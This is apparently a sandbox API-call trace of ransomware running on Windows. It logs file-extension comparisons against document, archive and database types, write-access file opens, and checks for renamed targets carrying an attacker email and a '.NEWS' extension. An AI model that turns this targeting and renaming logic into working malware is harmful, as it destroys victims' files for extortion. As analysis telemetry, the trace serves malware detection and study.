1 [0088.995] lstrlenW (lpString=".xls") returned 4 [0088.995] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.995] lstrlenW (lpString=".xlsx") returned 5 [0088.995] lstrcmpiW (lpString1=".xlsx", lpString2="m.exe") returned -1 [0088.995] lstrlenW (lpString=".ppt") returned 4 [0088.995] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.995] lstrlenW (lpString=".zip") returned 4 [0088.995] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.995] lstrlenW (lpString=".rar") returned 4 [0088.995] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.995] lstrlenW (lpString=".bz2") returned 4 [0088.995] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.995] lstrlenW (lpString=".7z") returned 3 [0088.995] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.996] lstrlenW (lpString=".dbf") returned 4 [0088.996] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.996] lstrlenW (lpString=".1cd") returned 4 [0088.996] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.996] lstrlenW (lpString=".jpg") returned 4 [0088.996] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.996] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0088.996] lstrlenW (lpString="msader15.dll.mui") returned 16 [0088.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.997] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=17920) returned 1 [0088.997] CloseHandle (hObject=0x348) returned 1 [0088.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0088.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.998] lstrlenW (lpString=".doc") returned 4 [0088.998] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.998] lstrlenW (lpString=".docx") returned 5 [0088.998] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0088.998] lstrlenW (lpString=".pdf") returned 4 [0088.998] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.998] lstrlenW (lpString=".xls") returned 4 [0088.998] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0088.998] lstrlenW (lpString=".xlsx") returned 5 [0088.998] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0088.998] lstrlenW (lpString=".ppt") returned 4 [0088.998] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.998] lstrlenW (lpString=".zip") returned 4 [0088.998] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0088.998] lstrlenW (lpString=".rar") returned 4 [0088.998] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.998] lstrlenW (lpString=".bz2") returned 4 [0088.998] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.998] lstrlenW (lpString=".7z") returned 3 [0088.998] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.998] lstrlenW (lpString=".dbf") returned 4 [0088.998] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".1cd") returned 4 [0088.999] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".jpg") returned 4 [0088.999] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".doc") returned 4 [0088.999] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.999] lstrlenW (lpString=".docx") returned 5 [0088.999] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0088.999] lstrlenW (lpString=".pdf") returned 4 [0088.999] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.999] lstrlenW (lpString=".xls") returned 4 [0088.999] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0088.999] lstrlenW (lpString=".xlsx") returned 5 [0088.999] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0088.999] lstrlenW (lpString=".ppt") returned 4 [0088.999] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".zip") returned 4 [0088.999] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0088.999] lstrlenW (lpString=".rar") returned 4 [0088.999] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.999] lstrlenW (lpString=".bz2") returned 4 [0088.999] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.999] lstrlenW (lpString=".7z") returned 3 [0088.999] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".dbf") returned 4 [0088.999] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".1cd") returned 4 [0088.999] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0088.999] lstrlenW (lpString=".jpg") returned 4 [0089.000] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.000] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.000] lstrlenW (lpString="msader15.dll") returned 12 [0089.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0089.000] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2560) returned 1 [0089.000] CloseHandle (hObject=0x348) returned 1 [0089.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0089.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.001] lstrlenW (lpString=".doc") returned 4 [0089.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString=".docx") returned 5 [0089.001] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0089.001] lstrlenW (lpString=".pdf") returned 4 [0089.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString=".xls") returned 4 [0089.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString=".xlsx") returned 5 [0089.001] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0089.001] lstrlenW (lpString=".ppt") returned 4 [0089.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.001] lstrlenW (lpString=".zip") returned 4 [0089.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString=".rar") returned 4 [0089.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.001] lstrlenW (lpString=".bz2") returned 4 [0089.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.001] lstrlenW (lpString=".7z") returned 3 [0089.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.001] lstrlenW (lpString=".dbf") returned 4 [0089.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.001] lstrlenW (lpString=".1cd") returned 4 [0089.001] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString=".jpg") returned 4 [0089.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString=".doc") returned 4 [0089.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString=".docx") returned 5 [0089.002] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0089.002] lstrlenW (lpString=".pdf") returned 4 [0089.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString=".xls") returned 4 [0089.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString=".xlsx") returned 5 [0089.002] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0089.002] lstrlenW (lpString=".ppt") returned 4 [0089.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString=".zip") returned 4 [0089.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString=".rar") returned 4 [0089.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.002] lstrlenW (lpString=".bz2") returned 4 [0089.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.002] lstrlenW (lpString=".7z") returned 3 [0089.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString=".dbf") returned 4 [0089.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString=".1cd") returned 4 [0089.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0089.002] lstrlenW (lpString=".jpg") returned 4 [0089.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.003] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0089.003] lstrlenW (lpString="msado15.dll") returned 11 [0089.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0089.003] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1233920) returned 1 [0089.003] CloseHandle (hObject=0x348) returned 1 [0089.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0089.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.004] lstrlenW (lpString=".doc") returned 4 [0089.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.004] lstrlenW (lpString=".docx") returned 5 [0089.004] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0089.004] lstrlenW (lpString=".pdf") returned 4 [0089.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.004] lstrlenW (lpString=".xls") returned 4 [0089.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.004] lstrlenW (lpString=".xlsx") returned 5 [0089.004] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0089.004] lstrlenW (lpString=".ppt") returned 4 [0089.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.004] lstrlenW (lpString=".zip") returned 4 [0089.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.004] lstrlenW (lpString=".rar") returned 4 [0089.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.004] lstrlenW (lpString=".bz2") returned 4 [0089.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.004] lstrlenW (lpString=".7z") returned 3 [0089.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.004] lstrlenW (lpString=".dbf") returned 4 [0089.004] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.004] lstrlenW (lpString=".1cd") returned 4 [0089.004] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.004] lstrlenW (lpString=".jpg") returned 4 [0089.004] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.005] lstrlenW (lpString=".doc") returned 4 [0089.005] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString=".docx") returned 5 [0089.005] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0089.005] lstrlenW (lpString=".pdf") returned 4 [0089.005] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString=".xls") returned 4 [0089.005] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString=".xlsx") returned 5 [0089.005] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0089.005] lstrlenW (lpString=".ppt") returned 4 [0089.005] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.005] lstrlenW (lpString=".zip") returned 4 [0089.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString=".rar") returned 4 [0089.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.005] lstrlenW (lpString=".bz2") returned 4 [0089.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.005] lstrlenW (lpString=".7z") returned 3 [0089.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.005] lstrlenW (lpString=".dbf") returned 4 [0089.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.006] lstrlenW (lpString=".1cd") returned 4 [0089.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0089.006] lstrlenW (lpString=".jpg") returned 4 [0089.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.006] lstrcmpiW (lpString1=".tlb", lpString2=".NEWS") returned 1 [0089.006] lstrlenW (lpString="msado20.tlb") returned 11 [0089.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0089.006] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=50688) returned 1 [0089.007] CloseHandle (hObject=0x348) returned 1 [0089.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0089.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.007] lstrlenW (lpString=".doc") returned 4 [0089.007] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.007] lstrlenW (lpString=".docx") returned 5 [0089.007] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0089.007] lstrlenW (lpString=".pdf") returned 4 [0089.007] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.007] lstrlenW (lpString=".xls") returned 4 [0089.007] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.007] lstrlenW (lpString=".xlsx") returned 5 [0089.007] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0089.007] lstrlenW (lpString=".ppt") returned 4 [0089.007] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.007] lstrlenW (lpString=".zip") returned 4 [0089.007] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.007] lstrlenW (lpString=".rar") returned 4 [0089.007] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.007] lstrlenW (lpString=".bz2") returned 4 [0089.007] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.007] lstrlenW (lpString=".7z") returned 3 [0089.007] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.007] lstrlenW (lpString=".dbf") returned 4 [0089.007] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString=".1cd") returned 4 [0089.008] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString=".jpg") returned 4 [0089.008] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString=".doc") returned 4 [0089.008] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString=".docx") returned 5 [0089.008] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0089.008] lstrlenW (lpString=".pdf") returned 4 [0089.008] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString=".xls") returned 4 [0089.008] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.008] lstrlenW (lpString=".xlsx") returned 5 [0089.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0089.008] lstrlenW (lpString=".ppt") returned 4 [0089.008] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString=".zip") returned 4 [0089.008] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.008] lstrlenW (lpString=".rar") returned 4 [0089.008] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString=".bz2") returned 4 [0089.008] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString=".7z") returned 3 [0089.008] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString=".dbf") returned 4 [0089.008] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.008] lstrlenW (lpString=".1cd") returned 4 [0089.008] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0089.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52 [0089.009] lstrlenW (lpString=".jpg") returned 4 [0089.009] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0089.009] lstrcmpiW (lpString1=".tlb", lpString2=".NEWS") returned 1 [0089.009] lstrlenW (lpString="msado21.tlb") returned 11 [0089.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0089.009] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=53760) returned 1 [0089.009] CloseHandle (hObject=0x348) returned 1 [0089.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0089.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0089.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0089.009] lstrlenW (lpString=".doc") returned 4 [0089.009] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.009] lstrlenW (lpString=".docx") returned 5 [0089.009] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0089.009] lstrlenW (lpString=".pdf") returned 4 [0089.010] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.010] lstrlenW (lpString=".xls") returned 4 [0089.010] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.010] lstrlenW (lpString=".xlsx") returned 5 [0089.010] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0089.010] lstrlenW (lpString=".ppt") returned 4 [0089.010] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0089.010] lstrlenW (lpString=".zip") returned 4 [0089.010] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.010] lstrlenW (lpString=".rar") returned 4 [0089.010] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.010] lstrlenW (lpString=".bz2") returned 4 [0089.010] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.010] lstrlenW (lpString=".7z") returned 3 [0089.010] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 